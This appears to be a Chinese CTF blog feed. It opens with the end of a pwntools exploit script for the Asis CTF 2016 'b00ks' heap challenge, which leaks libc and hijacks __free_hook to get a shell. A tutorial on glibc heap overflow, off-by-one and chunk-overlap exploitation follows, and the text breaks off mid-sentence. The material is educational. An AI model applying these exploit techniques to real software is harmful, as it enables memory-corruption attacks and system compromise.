string">'__malloc_hook'</span><span class="token punctuation">]</span>   <span class="token comment"># 得到 libc 基地址</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'main_arena_88 -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>main_arena_88<span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'main_arena_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>main_arena_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'malloc_hook_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>malloc_hook_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'libc_base -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>libc_base<span class="token punctuation">)</span><span class="token punctuation">)</span>free_hook_addr <span class="token operator">=</span> libc_base <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'__free_hook'</span><span class="token punctuation">]</span>system_addr <span class="token operator">=</span> libc_base <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'system'</span><span class="token punctuation">]</span>bin_sh_addr <span class="token operator">=</span> libc_base <span class="token operator">+</span> <span class="token builtin">next</span><span class="token punctuation">(</span>libc<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">b'/bin/sh'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>one_gadget_addr <span class="token operator">=</span> libc_base <span class="token operator">+</span> <span class="token number">0x4527a</span>   <span class="token comment"># 0x45226 0x4527a 0xf03a4 0xf1247</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'free_hook_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>free_hook_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'system_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'bin_sh_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>bin_sh_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'one_gadget_addr -> '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>one_gadget_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>Edit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> p64<span class="token punctuation">(</span>free_hook_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">)</span>   <span class="token comment"># 将 book3 -> description 修改为 __free_hook</span>Edit<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> p64<span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>   <span class="token comment"># 将 __free_hook 修改为 system()</span><span class="token comment"># Edit(3, p64(one_gadget_addr))   # system(/bin/sh) 与 one_gadget 选其一即可</span>Delete<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="结果二"><a href="#结果二" class="headerlink" title="结果二"></a>结果二</h1><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks39.png" alt="【Asis CTF 2016】b00ks39.png"></p>]]></content>
    
    
    <summary type="html">很经典的一道堆题，利用 off-by-one 漏洞修改指向堆的指针，然后伪造堆块，后续关键在于获得 libc 基地址，可以分别通过 mmap 的特点和 unsorted bin 的特点来计算 libc 偏移，最后劫持 __free_hook 获取 shell</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="CTF" scheme="https://www.uf4te.cn/tags/CTF/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title>堆相关漏洞与利用</title>
    <link href="https://www.uf4te.cn/posts/baa7ab63.html"/>
    <id>https://www.uf4te.cn/posts/baa7ab63.html</id>
    <published>2024-05-27T08:13:25.000Z</published>
    <updated>2025-10-29T08:23:06.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="堆溢出"><a href="#堆溢出" class="headerlink" title="堆溢出"></a>堆溢出</h1><blockquote><p>堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数 <mark>（注意：是写入的字节数超过了堆块本身可使用的字节数，而不是用户申请的字节数，因为堆管理器会对用户所申请的字节数进行调整，这也导致可利用的字节数都不小于用户申请的字节数）</mark>，并覆盖到<strong>物理相邻的高地址</strong>的下一个堆块，轻则可以使得程序崩溃，重则可以使得攻击者控制程序执行流程</p><p>一般来说，堆溢出漏洞需要两个前提：</p><ol><li><strong>程序向堆上写入数据</strong></li><li><strong>写入的数据大小没有被良好地控制</strong></li></ol><p>参考文章：</p><ol><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic/">堆溢出 - CTF Wiki</a></li></ol></blockquote><p><em>与栈溢出不同的是，堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据，因此堆溢出通常无法像栈溢出一样直接控制 EIP</em></p><p>一般来说，我们利用堆溢出的策略是：</p><ol><li><p>覆盖与其<strong>物理相邻的下一个 <code>chunk</code></strong> 的内容</p><ul><li><code>prev_size</code></li><li><code>size</code>，主要有三个比特位，以及该堆块真正的大小<ul><li><code>NON_MAIN_ARENA</code></li><li><code>IS_MAPPED</code></li><li><code>PREV_INUSE</code></li><li><code>the True chunk size</code></li></ul></li><li><code>chunk content</code>，从而改变程序固有的执行流</li></ul></li><li><p>利用堆中的机制（如 <code>unlink</code> 等 ）来实现任意地址写入或控制堆块中的内容等效果，从而来控制程序的执行流</p></li></ol><blockquote><p>堆溢出通常需要配合其他的方法来实现漏洞的利用，比较常用的方法有：Chunk Extend and Overlap 等</p></blockquote><hr><h2 id="关键步骤"><a href="#关键步骤" class="headerlink" title="关键步骤"></a>关键步骤</h2><h3 id="寻找堆分配函数"><a href="#寻找堆分配函数" class="headerlink" title="寻找堆分配函数"></a>寻找堆分配函数</h3><blockquote><p>通常来说堆是通过调用 Glibc 函数 <code>malloc</code> 进行分配的，在某些情况下会使用 <code>calloc</code> 分配，<code>realloc</code> 同样也可以达到类似的效果</p><p>因此，常用的堆分配函数有：</p><ol><li><code>malloc</code></li><li><code>calloc</code></li><li><code>realloc</code></li></ol></blockquote><p><code>calloc</code> 与 <code>malloc</code> 的区别是 <strong>calloc 在分配后会自动进行清空，这对于某些信息泄露漏洞的利用来说是致命的</strong></p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token function">calloc</span><span class="token punctuation">(</span><span class="token number">0x20</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 等价于</span>ptr <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x20</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memset</span><span class="token punctuation">(</span>ptr<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0x20</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><hr><h3 id="寻找危险函数"><a href="#寻找危险函数" class="headerlink" title="寻找危险函数"></a>寻找危险函数</h3><blockquote><p>通过寻找危险函数，可以快速确定程序是否可能存在堆溢出漏洞</p></blockquote><p>常见的危险函数如下</p><ul><li><p>输入</p><ul><li>gets，直接读取一行，忽略 <code>&#39;\x00&#39;</code></li><li>scanf</li><li>vscanf</li></ul></li><li><p>输出</p><ul><li>sprintf</li></ul></li><li><p>字符串</p><ul><li>strcpy，字符串复制，遇到 <code>&#39;\x00&#39;</code> 停止</li><li>strcat，字符串拼接，遇到 <code>&#39;\x00&#39;</code> 停止</li><li>bcopy</li></ul></li></ul><hr><h3 id="确定填充长度"><a href="#确定填充长度" class="headerlink" title="确定填充长度"></a>确定填充长度</h3><blockquote><p>这一部分主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离</p></blockquote><p>主要有以下几点需要重点注意：</p><ul><li><em><code>malloc</code> 的参数并不等于实际分配堆块的大小</em></li></ul><p><strong><code>ptmalloc2</code> 分配出来的大小是对齐的，这个长度一般是字长的 2 倍</strong>。比如 32 位系统是 8 字节，64 位系统是 16 字节</p><p>因此，<strong>对于不大于 2 倍字长的请求，<code>malloc</code> 会直接返回 2 倍字长的块（也就是最小 <code>chunk</code>）</strong>，比如 64 位系统执行 <code>malloc(0)</code> 会返回用户区域为 16 字节的块</p><ul><li><em>用户区域的大小不等于 <code>chunk_head.size</code></em></li></ul><pre class="line-numbers language-text" data-language="text"><code class="language-text">chunk_head.size = 用户区域大小 + 2 * 字长<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>用户申请的内存大小会被修改，有可能会使用与其物理相邻的下一个 <code>chunk</code> 的 <code>prev_size</code> 字段来储存内容</li></ul><p>例如：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> <span class="token operator">*</span>chunk<span class="token punctuation">;</span>  chunk <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">24</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Get input:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">gets</span><span class="token punctuation">(</span>chunk<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在上述代码中，申请的 <code>chunk</code> 大小是 24 字节</p><p>但是将其编译为 64 位可执行程序时，实际上分配的内存会是 16 字节而不是 24 字节</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">//根据系统的位数，malloc 会分配 8 或 16 字节的用户空间</span><span class="token number">0x602000</span><span class="token operator">:</span>   <span class="token number">0x0000000000000000</span>  <span class="token number">0x0000000000000021</span><span class="token number">0x602010</span><span class="token operator">:</span>   <span class="token number">0x0000000000000000</span>  <span class="token number">0x0000000000000000</span><span class="token number">0x602020</span><span class="token operator">:</span>   <span class="token number">0x0000000000000000</span>  <span class="token number">0x0000000000020fe1</span><span class="token number">0x602030</span><span class="token operator">:</span>   <span class="token number">0x0000000000000000</span>  <span class="token number">0x0000000000000000</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>16 字节的空间是如何装得下 24 个字节的内容呢？答案是借用了下一个块的 <code>pre_size</code> 域</p><p>用户申请的内存大小与 Glibc 中实际分配的内存大小之间的转换如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">/* pad request bytes into a usable size -- internal version */</span><span class="token comment">// MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">request2size</span><span class="token expression"><span class="token punctuation">(</span>req<span class="token punctuation">)</span>                                                      </span><span class="token punctuation">\</span>    <span class="token expression"><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span> <span class="token operator">+</span> SIZE_SZ <span class="token operator">+</span> MALLOC_ALIGN_MASK <span class="token operator">&lt;</span> MINSIZE<span class="token punctuation">)</span>                           </span><span class="token punctuation">\</span>         <span class="token expression"><span class="token operator">?</span> MINSIZE                                                             </span><span class="token punctuation">\</span>         <span class="token expression"><span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span> <span class="token operator">+</span> SIZE_SZ <span class="token operator">+</span> MALLOC_ALIGN_MASK<span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token operator">~</span>MALLOC_ALIGN_MASK<span class="token punctuation">)</span></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>当 <code>req = 24</code> 时，<code>request2size(24) = 32</code></p><p>除去 <code>chunk</code> 头部的 16 字节，实际上用户可用 <code>chunk</code> 为 16 字节，而 <code>chunk</code> 的 <code>pre_size</code> 仅当它的前一块处于释放状态时才起作用，所以用户这时候其实还可以使用下一个 <code>chunk</code> 的 <code>prev_size</code> 字段，正好 24 个字节</p><blockquote><p>实际上 <code>ptmalloc2</code> 分配内存是以双字为基本单位</p><p>以 64 位系统为例，分配出来的空间是 16 的整数倍，即用户申请的 <code>chunk</code> 都是 16 字节对齐的</p></blockquote><hr><h1 id="Off-By-One"><a href="#Off-By-One" class="headerlink" title="Off-By-One"></a>Off-By-One</h1><blockquote><p>off-by-one 指程序向缓冲区中写入时，写入的字节数超过了这个缓冲区本身所申请的字节数，并且<strong>只越界了一个字节</strong>，属于一种特殊的溢出漏洞</p><p>参考文章：<a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/">堆中的 off-by-one - CTF Wiki</a></p></blockquote><p>off-by-one 最终的效果是可以将一个释放状态的 <code>small bin chunk</code> 或是 <code>unsorted bin chunk</code> 一直到被溢出 <code>chunk</code> 合并成一个大的 <code>chunk</code></p><hr><h2 id="产生原因"><a href="#产生原因" class="headerlink" title="产生原因"></a>产生原因</h2><p>这种漏洞的产生往往与边界验证不严和字符串操作有关，例如：</p><ul><li>使用循环语句向堆块中写入数据时，循环的次数设置错误（这在 C 语言初学者中很常见）导致多写入了一个字节</li></ul><p>示例：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">my_gets</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span>ptr<span class="token punctuation">,</span><span class="token keyword">int</span> size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> i<span class="token punctuation">;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span>i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> size<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        ptr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">getchar</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> i<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>chunk1<span class="token punctuation">,</span> <span class="token operator">*</span>chunk2<span class="token punctuation">;</span>    chunk1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    chunk2 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Get Input:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">my_gets</span><span class="token punctuation">(</span>chunk1<span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>由于 for 循环的边界没有控制好，导致写入多执行了一次</p><p>执行 <code>my_gets()</code> 之前的堆：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A81.png" alt="CTF - PWN_堆相关的漏洞与利用1.png"></p><p>假设输入了 17 个字节：<code>aaaaaaaaaaaaaaaaa</code>，此时的堆：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A82.png" alt="CTF - PWN_堆相关的漏洞与利用2.png"></p><p>可以看到数据发生了溢出，有一个 <code>&#39;a&#39;</code> 覆盖到了下一个堆块的 <code>prev_size</code> 域</p><ul><li>字符串操作不合适</li></ul><p>示例：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> buffer<span class="token punctuation">[</span><span class="token number">40</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>chunk1<span class="token punctuation">;</span>    chunk1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">24</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Get Input"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">gets</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">strlen</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">24</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">strcpy</span><span class="token punctuation">(</span>chunk1<span class="token punctuation">,</span> buffer<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>        <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果不考虑栈溢出，似乎没什么问题，可能很多人在实际的代码中也是这样写的，但是 <strong><code>strlen</code> 和 <code>strcpy</code> 的行为不一致却导致了 off-by-one 的发生</strong></p><p>原因在于，<code>strlen</code> 在计算字符串长度时不包括结束符 <code>&#39;\x00&#39;</code>，而 <code>strcpy</code> 在复制字符串时会拷贝结束符 <code>&#39;\x00&#39;</code>，因此，最后其实向 <code>chunk1</code> 中写入了 25 个字节</p><p>执行 <code>gets(buffer)</code> 之前的堆：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A83.png" alt="CTF - PWN_堆相关的漏洞与利用3.png"></p><p>执行 <code>strcpy(chunk1, buffer)</code> 之后：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A84.png" alt="CTF - PWN_堆相关的漏洞与利用4.png"></p><p>可以看到 <code>next chunk</code> 的 <code>size</code> 域低字节被结束符 <code>&#39;\x00&#39;</code> 覆盖（这种情况又属于 off-by-one 的一个分支：NULL byte off-by-one）</p><ul><li>当然，也不排除写入的 <code>size</code> 正好就只多了一个字节的情况</li></ul><blockquote><p>一般来说，单字节溢出被认为是难以利用的</p><p>但是因为 Linux 的堆管理机制 <code>ptmalloc2</code> 验证的松散性，基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂，并且威力强大</p></blockquote><hr><h2 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h2><ol><li>溢出字节为可控制任意字节</li></ol><p>通过修改大小造成块结构之间出现重叠，从而泄露或者覆盖其他块数据</p><ol start="2"><li>溢出字节为 NULL 字节</li></ol><p>在 <code>size</code> 为 0x100 的时候，溢出 NULL 字节可以使得 <code>prev_in_use</code> 位被清除（记录前一个 <code>chunk</code> 块是否被分配），这样前一个块会被认为是 free 块</p><p>然后可以采用以下方法：</p><p>（1）使用 unlink 方法进行处理</p><p>（2）由于这时 <code>prev_size</code> 域会被启用，可以伪造 <code>prev_size</code> 造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 <code>prev_size</code> 找到的块的大小与 <code>prev_size</code> 是否一致</p><blockquote><p>注意：</p><p>在 Glibc 2.29 以后的版本代码中已经加入针对方法（2）的 <code>check</code> ，因此传统的方法（2）失效；但是在 Glibc 2.28 及之前版本并没有该 <code>check</code>，可以继续使用</p></blockquote><p>Glibc 中对于此处的 <code>check</code> 如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">/* consolidate backward */</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">prev_inuse</span><span class="token punctuation">(</span>p<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      prevsize <span class="token operator">=</span> <span class="token function">prev_size</span> <span class="token punctuation">(</span>p<span class="token punctuation">)</span><span class="token punctuation">;</span>      size <span class="token operator">+=</span> prevsize<span class="token punctuation">;</span>      p <span class="token operator">=</span> <span class="token function">chunk_at_offset</span><span class="token punctuation">(</span>p<span class="token punctuation">,</span> <span class="token operator">-</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">long</span><span class="token punctuation">)</span> prevsize<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token comment">/* 下面两行代码在新版本 Glibc 中加入，则方法（2）无法使用，但是 Glibc 2.28 及之前版本都没有问题      if (__glibc_unlikely (chunksize(p) != prevsize))        malloc_printerr ("corrupted size vs. prev_size while consolidating"); */</span>      <span class="token function">unlink_chunk</span> <span class="token punctuation">(</span>av<span class="token punctuation">,</span> p<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Glibc 2.29 以后的版本中， <code>check</code> 处增加了两行代码：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">__glibc_unlikely</span> <span class="token punctuation">(</span><span class="token function">chunksize</span><span class="token punctuation">(</span>p<span class="token punctuation">)</span> <span class="token operator">!=</span> prevsize<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token function">malloc_printerr</span> <span class="token punctuation">(</span><span class="token string">"corrupted size vs. prev_size while consolidating"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>这让我们想要控制一个真实 <code>chunk</code> 的 <code>size</code> 字段变得更加困难，所以传统的 NULL byte off-by-one 方法失效</p><p>但是，只需要满足被 unlink 的 <code>chunk</code> 和下一个 <code>chunk</code> 相连，仍然可以伪造 <code>fake_chunk</code></p><p>伪造的方式就是使用 <code>large bin</code> 遗留的 <code>fd_nextsize</code> 和 <code>bk_nextsize</code> 指针：</p><ul><li>以 <code>fd_nextsize</code> 为 <code>fake_chunk</code> 的 <code>fd</code></li><li>以 <code>bk_nextsize</code> 为 <code>fake_chunk</code> 的 <code>bk</code></li></ul><p>这样我们可以完全控制该 <code>fake_chunk</code> 的 <code>size</code> 字段（这个过程会破坏原 <code>large bin chunk</code> 的 <code>fd</code> 指针，但是没有关系），同时还可以通过部分覆写 <code>fd_nextsize</code> 控制其 <code>fd</code>，然后在后面使用其他的 <code>chunk</code> 辅助伪造，可以通过该 <code>check</code></p><p>然后只需要通过 unlink 的检测就可以了，也就是：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token punctuation">(</span>fd <span class="token operator">-></span> bk <span class="token operator">==</span> p<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span>bk <span class="token operator">-></span> fd <span class="token operator">==</span> p<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>如果 <code>large bin</code> 中仅有一个 <code>chunk</code>，那么该 <code>chunk</code> 的 <code>fd_nextsize</code> 指针和 <code>bk_nextsize</code> 指针都会指向自己</p></blockquote><ol><li><p>我们可以控制 <code>fd_nextsize</code> 指向堆上的任意地址，可以容易地使之指向一个 <code>fast bin + 0x10 - 0x18</code>，而 <code>fast bin</code> 中的 <code>fd</code> 也会指向堆上的一个地址，通过部分覆写该指针也可以使该指针指向之前的 <code>large bin + 0x10</code>，这样就可以通过 <code>fd -&gt; bk == p</code> 的检测</p></li><li><p>由于 <code>bk_nextsize</code> 我们无法修改，所以 <code>bk -&gt; fd</code> 必然在原先的 <code>large bin chunk</code> 的 <code>fd</code> 指针处（这个 <code>fd</code> 被我们破坏了），通过 <code>fast bin</code> 的链表特性可以做到修改这个指针且不影响其他的数据，再将其部分覆写就可以通过 <code>bk -&gt; fd == p</code> 的检测</p></li><li><p>然后通过 off-by-one 向低地址合并，实现 <code>chunk Overlap</code>，之后可以泄露 libc 的基地址和堆地址，然后 <code>tcache</code> 打 <code>__free_hook</code> 即可</p></li></ol><hr><h2 id="相关例题"><a href="#相关例题" class="headerlink" title="相关例题"></a>相关例题</h2><p>见本站 《<a href="18c02ebd.html">【Asis CTF 2016】b00ks</a>》、《<a href="14f0dc5a.html">【plaidctf 2015】PlaidDB</a>》</p><hr><h1 id="Chunk-Extend-and-Overlap"><a href="#Chunk-Extend-and-Overlap" class="headerlink" title="Chunk Extend and Overlap"></a>Chunk Extend and Overlap</h1><blockquote><p><code>chunk extend</code>（堆扩展）是堆漏洞的一种常见利用手法，通过 <code>extend</code> 可以实现 <code>chunk Overlap</code>（堆重叠）的效果</p><p>参考文章：<a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping/">Chunk Extend and Overlapping - CTF Wiki</a></p></blockquote><p>这种利用方法通常需要以下条件：</p><ul><li>程序中存在基于堆的漏洞</li><li>漏洞可以控制 <code>chunk header</code> 中的数据</li></ul><p>一般来说，<code>Chunk Extend and Overlap</code> 并不能直接控制程序的执行流程，但是可以控制 <code>chunk</code> 中的内容：</p><ul><li><p>如果 <code>chunk</code> 存在字符串指针、函数指针等，就可以利用这些指针来进行信息泄漏和控制执行流程</p></li><li><p>此外，<code>chunk extend</code> 通过控制 <code>size</code> 和 <code>pre_size</code> 域可以实现 <code>chunk Overlap</code>，通过 <code>Overlap</code> 可以控制 <code>chunk</code> 的 <code>fd / bk</code> 指针从而可以实现 <code>fastbin attack</code> 等利用</p></li></ul><hr><h2 id="对-inuse-的-fast-bin-进行-extend"><a href="#对-inuse-的-fast-bin-进行-extend" class="headerlink" title="对 inuse 的 fast bin 进行 extend"></a>对 inuse 的 fast bin 进行 extend</h2><blockquote><p>当我们创建两个堆块 <code>chunk1</code> 和 <code>chunk2</code> 时，通过修改 <code>chunk1</code> 的 <code>size</code> 域，使其 <code>size</code> 的大小包含 <code>chunk2</code>，那么 <code>free</code> 掉 